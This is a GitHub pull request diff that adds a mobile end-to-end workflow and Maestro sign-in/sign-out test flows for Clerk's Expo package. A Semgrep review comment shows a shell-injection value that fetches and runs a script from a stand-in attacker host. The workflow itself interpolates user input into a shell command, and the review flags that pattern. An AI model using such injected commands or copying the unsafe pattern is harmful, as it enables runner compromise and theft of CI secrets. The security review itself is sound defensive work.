Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .changeset/expo-native-component-tests.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
---
'@clerk/expo': patch
---

- Export `NativeSessionSync` and `app.plugin.js` sub-plugins to enable unit testing (internal, no public API change).
- Add JUnit/Robolectric/MockK test dependencies to the Android module for native unit tests.
155 changes: 155 additions & 0 deletions .github/workflows/mobile-e2e.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
# Manual mobile e2e for @clerk/expo native components.
# Clones clerk-expo-quickstart, builds the NativeComponentQuickstart app,
# and runs Maestro flows on iOS simulator and Android emulator.
name: "Mobile e2e (@clerk/expo)"

on:
workflow_dispatch:
inputs:
quickstart_ref:
description: "clerk-expo-quickstart git ref (branch, tag, or SHA)"
required: false
default: "main"
exclude_tags:
description: "Maestro tags to exclude (comma-separated)"
required: false
default: "manual,skip"

concurrency:
group: mobile-e2e-${{ github.ref }}
cancel-in-progress: true

jobs:
android:
name: Android
runs-on: ubuntu-latest
timeout-minutes: 45
defaults:
run:
working-directory: .
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Set up JDK 17
uses: actions/setup-java@v4
with:
distribution: temurin
java-version: 17

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Run Android e2e
uses: reactivecircus/android-emulator-runner@v2
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
with:
api-level: 34
target: google_apis
arch: x86_64
script: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:android --variant release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }}"

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-android
path: ~/.maestro/tests

ios:

Check warning

Code scanning / CodeQL

Workflow does not contain permissions Medium

Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read}
name: iOS
runs-on: macos-15
timeout-minutes: 60
steps:
- name: Checkout @clerk/javascript
uses: actions/checkout@v4

- name: Checkout clerk-expo-quickstart
uses: actions/checkout@v4
with:
repository: clerk/clerk-expo-quickstart
ref: ${{ inputs.quickstart_ref }}
path: clerk-expo-quickstart

- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: pnpm

- name: Install monorepo deps
run: pnpm install --frozen-lockfile

- name: Build @clerk/expo
run: pnpm turbo build --filter=@clerk/expo...

- name: Install quickstart deps
working-directory: clerk-expo-quickstart/NativeComponentQuickstart
run: pnpm install

- name: Cache SPM
uses: actions/cache@v4
with:
path: ~/Library/Developer/Xcode/DerivedData
key: spm-${{ hashFiles('packages/expo/package.json') }}

- name: Install Maestro
run: |
curl -Ls "https://get.maestro.mobile.dev" | bash
echo "$HOME/.maestro/bin" >> "$GITHUB_PATH"

- name: Build and run iOS e2e
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"

Comment on lines +140 to +149
Copy link
Copy Markdown

@semgrep-code-clerk semgrep-code-clerk bot Apr 16, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

Fixed in commit fe9e3fe

Comment on lines +140 to +149
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Workflow input exclude_tags is directly interpolated into a shell command, allowing command injection attacks that could steal secrets and compromise the runner.

More details about this

The run: step directly interpolates the ${{ inputs.exclude_tags }} variable into a shell command. The inputs.exclude_tags value comes from workflow inputs, which can be controlled by an attacker triggering a workflow.

Here's how an attacker could exploit this:

  1. An attacker triggers this workflow with a malicious value for the exclude_tags input, for example: androidOnly"; curl http://attacker.com/steal.sh | bash; echo "
  2. The ${{ inputs.exclude_tags }} gets substituted into the command:
    maestro test --exclude-tags "androidOnly"; curl http://attacker.com/steal.sh | bash; echo ",androidOnly"
    
  3. The shell parses this as three separate commands: the legitimate maestro test command, then a curl that downloads and executes a malicious script from the attacker's server
  4. The injected script runs with full access to the runner environment, allowing the attacker to steal the CLERK_TEST_EMAIL and CLERK_TEST_PASSWORD secrets (visible via env: in the workflow), exfiltrate source code, or modify the repository

The vulnerability exists because untrusted user input from workflow inputs is directly embedded into a shell command without any sanitization or quoting protection.

To resolve this comment:

✨ Commit Assistant fix suggestion

Suggested change
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "${{ inputs.exclude_tags }},androidOnly"
env:
CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
EXCLUDE_TAGS: ${{ inputs.exclude_tags }} # Place user input in an environment variable to prevent command injection
run: |
cd clerk-expo-quickstart/NativeComponentQuickstart
npx expo prebuild --clean
npx expo run:ios --configuration Release --no-bundler
cd ../../integration-mobile
source config/.env 2>/dev/null || true
# Maestro doesn't auto-recurse into subdirectories; pass each flow explicitly.
find flows -type f -name "*.yaml" ! -path "*/common/*" -print0 | \
xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"
View step-by-step instructions
  1. Move the usage of ${{ inputs.exclude_tags }} out of the script and into an environment variable in the same step by adding EXCLUDE_TAGS: ${{ inputs.exclude_tags }} under env:.
  2. In the run: script, replace "${{ inputs.exclude_tags }},androidOnly" with "$EXCLUDE_TAGS,androidOnly". Make sure to use double quotes around the environment variable to prevent word splitting or globbing.

The updated lines in your step will look like:

env:
  CLERK_TEST_EMAIL: ${{ secrets.CLERK_TEST_EMAIL }}
  CLERK_TEST_PASSWORD: ${{ secrets.CLERK_TEST_PASSWORD }}
  EXCLUDE_TAGS: ${{ inputs.exclude_tags }}
...
xargs -0 maestro test --exclude-tags "$EXCLUDE_TAGS,androidOnly"

By using an environment variable this way, you ensure untrusted user input isn't directly interpolated into your shell script, reducing the risk of command injection.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

You can view more details about this finding in the Semgrep AppSec Platform.

- name: Upload Maestro artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: maestro-ios
path: ~/.maestro/tests

Check warning

Code scanning / CodeQL

Workflow does not contain permissions Medium

Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read}
7 changes: 7 additions & 0 deletions integration-mobile/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Local env file — never commit. Use config/.env.example as the template.
config/.env

# Maestro artifacts
*.png
*.mp4
maestro-output/
18 changes: 18 additions & 0 deletions integration-mobile/config/.env.example
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
# Copy to .env and fill in values from your Clerk dev instance.
# .env is gitignored.

# Clerk publishable key for the test app (development instance)
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your_key_here

# Google Sign-In (iOS): the reversed-client-id URL scheme from GoogleService-Info.plist
EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME=com.googleusercontent.apps.your-ios-client-id

# Google Sign-In (Android + iOS): the web client ID
EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID=your-web-client-id.apps.googleusercontent.com

# Test user (must use Clerk's testmode +clerk_test pattern for high-rate-limit access)
CLERK_TEST_EMAIL=tester+clerk_test@example.com
CLERK_TEST_PASSWORD=ClerkTest!2024

# Optional: which simulator/emulator to target by default (Maestro will auto-pick if unset)
# MAESTRO_DEVICE=iPhone 16 Pro
27 changes: 27 additions & 0 deletions integration-mobile/fixtures/test-users.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
{
"$schema": "Test user metadata for the Maestro flows. Real credentials live in config/.env, never in this file.",
"users": [
{
"id": "primary",
"description": "Primary test user. Pre-existing in the Clerk dev instance.",
"emailEnv": "CLERK_TEST_EMAIL",
"passwordEnv": "CLERK_TEST_PASSWORD"
},
{
"id": "secondary",
"description": "Used by sign-out-then-sign-in-different-user flow. Provision separately.",
"emailEnv": "CLERK_TEST_EMAIL_SECONDARY",
"passwordEnv": "CLERK_TEST_PASSWORD_SECONDARY"
},
{
"id": "signup",
"description": "Generated per run with the +clerk_test pattern so verification codes auto-resolve.",
"emailTemplate": "tester+clerk_test_{timestamp}@example.com",
"passwordEnv": "CLERK_TEST_PASSWORD"
}
],
"notes": [
"Use +clerk_test addresses to bypass captcha and get higher rate limits.",
"Document any new test users you add here so future devs know what they're for."
]
}
9 changes: 9 additions & 0 deletions integration-mobile/flows/common/assert-signed-in.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Subflow: assert the user is on the signed-in home screen.
appId: com.clerk.clerkexpoquickstart
---
- assertVisible:
text: "Welcome"
- assertVisible:
text: "Manage Profile"
- assertVisible:
text: "Sign Out"
5 changes: 5 additions & 0 deletions integration-mobile/flows/common/assert-signed-out.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Subflow: assert the user is on the signed-out screen with the AuthView visible.
appId: com.clerk.clerkexpoquickstart
---
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
66 changes: 66 additions & 0 deletions integration-mobile/flows/common/open-app.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
# Subflow: launch the NativeComponentQuickstart app from a clean state.
# This is a dev build, so we must handle the Expo dev launcher (iOS uses
# http://localhost:8081; Android uses http://10.0.2.2:8081) and the
# Expo developer menu overlay that appears on first launch.
appId: com.clerk.clerkexpoquickstart
---
- launchApp:
clearState: true
- waitForAnimationToEnd:
timeout: 5000
# Android Google Password Manager may linger from a previous run.
# Dismiss it before anything else.
- runFlow:
when:
visible: ".*Google Password Manager.*"
commands:
- tapOn:
text: "Not now|Never"
- waitForAnimationToEnd:
timeout: 2000
# Dev launcher: tap whichever dev-server URL is shown (port 8081).
# Maestro's text field is regex-matched, so ".*:8081" matches both
# "http://10.0.2.2:8081" (Android) and "http://localhost:8081" (iOS).
- runFlow:
when:
visible: "Development Build"
commands:
- tapOn:
text: ".*:8081"
- waitForAnimationToEnd:
timeout: 10000
# Dismiss the Expo developer menu if it pops up. Tap the "Close" (X)
# accessibility element at the top-right of the sheet. On iOS the
# accessibility text is "Close" (not the resource-id "xmark"); on Android
# it's "Close" on the view's accessibilityText.
- runFlow:
when:
visible: ".*developer menu.*"
commands:
- tapOn:
text: "Close"
optional: true
- runFlow:
when:
visible: ".*developer menu.*"
commands:
- tapOn:
point: "50%,20%"
- waitForAnimationToEnd:
timeout: 2000
- waitForAnimationToEnd:
timeout: 3000
# If a previous flow left the user signed in (session persists in
# Keychain/SecureStore across clearState), sign out so subsequent flows
# start from the AuthView.
- runFlow:
when:
visible: "Sign Out"
commands:
- tapOn:
text: "Sign Out"
- waitForAnimationToEnd:
timeout: 3000
# Assert the AuthView is visible (signed-out state)
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
34 changes: 34 additions & 0 deletions integration-mobile/flows/common/sign-in-email-password.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
# Subflow: enter email + password into the native AuthView and submit.
# Requires CLERK_TEST_EMAIL and CLERK_TEST_PASSWORD env vars.
appId: com.clerk.clerkexpoquickstart
---
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
- tapOn:
text: "Enter your email or username"
- eraseText: 50
- inputText: ${CLERK_TEST_EMAIL}
- tapOn:
text: "Continue"
index: 0
- waitForAnimationToEnd:
timeout: 3000
- tapOn:
text: "Enter your password"
- eraseText: 50
- inputText: ${CLERK_TEST_PASSWORD}
- tapOn:
text: "Continue"
index: 0
- waitForAnimationToEnd:
timeout: 5000
# Android Google Password Manager may prompt to save the password after
# sign-in. Dismiss it so assertions on the home screen work.
- runFlow:
when:
visible: ".*Google Password Manager.*"
commands:
- tapOn:
text: "Not now|Never"
- waitForAnimationToEnd:
timeout: 2000
9 changes: 9 additions & 0 deletions integration-mobile/flows/common/sign-out-via-button.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Subflow: tap the Sign Out button on the home screen and wait for AuthView.
appId: com.clerk.clerkexpoquickstart
---
- tapOn:
text: "Sign Out"
- waitForAnimationToEnd:
timeout: 3000
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
16 changes: 16 additions & 0 deletions integration-mobile/flows/common/sign-out-via-profile.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# Subflow: open the UserProfile via Manage Profile, tap Log out, assert signed out.
appId: com.clerk.clerkexpoquickstart
---
- tapOn:
text: "Manage Profile"
- waitForAnimationToEnd:
timeout: 3000
- assertVisible:
text: "Account"
# iOS renders "Sign out", Android renders "Log out"
- tapOn:
text: "Log out|Sign out"
- waitForAnimationToEnd:
timeout: 3000
- assertVisible:
text: 'Welcome! Sign in to continue\.?'
16 changes: 16 additions & 0 deletions integration-mobile/flows/cycles/sign-in-sign-out-sign-in.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# REGRESSION: After sign-in -> sign-out -> sign-in, the second sign-in
# completed natively but the JS SDK never picked it up. This flow signs in
# twice in a row to verify the cycle works correctly.
appId: com.clerk.clerkexpoquickstart
tags:
- regression
---
- runFlow: ../common/open-app.yaml
# First sign-in
- runFlow: ../common/sign-in-email-password.yaml
- runFlow: ../common/assert-signed-in.yaml
# Sign out via the Sign Out button
- runFlow: ../common/sign-out-via-button.yaml
# Second sign-in -- must work without the bug
- runFlow: ../common/sign-in-email-password.yaml
- runFlow: ../common/assert-signed-in.yaml
Loading
Loading